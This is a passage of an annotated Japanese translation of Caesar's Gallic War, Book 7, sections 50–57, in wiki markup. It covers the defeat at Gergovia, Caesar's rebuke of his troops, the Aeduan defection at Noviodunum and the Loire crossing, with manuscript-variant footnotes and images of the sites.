**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
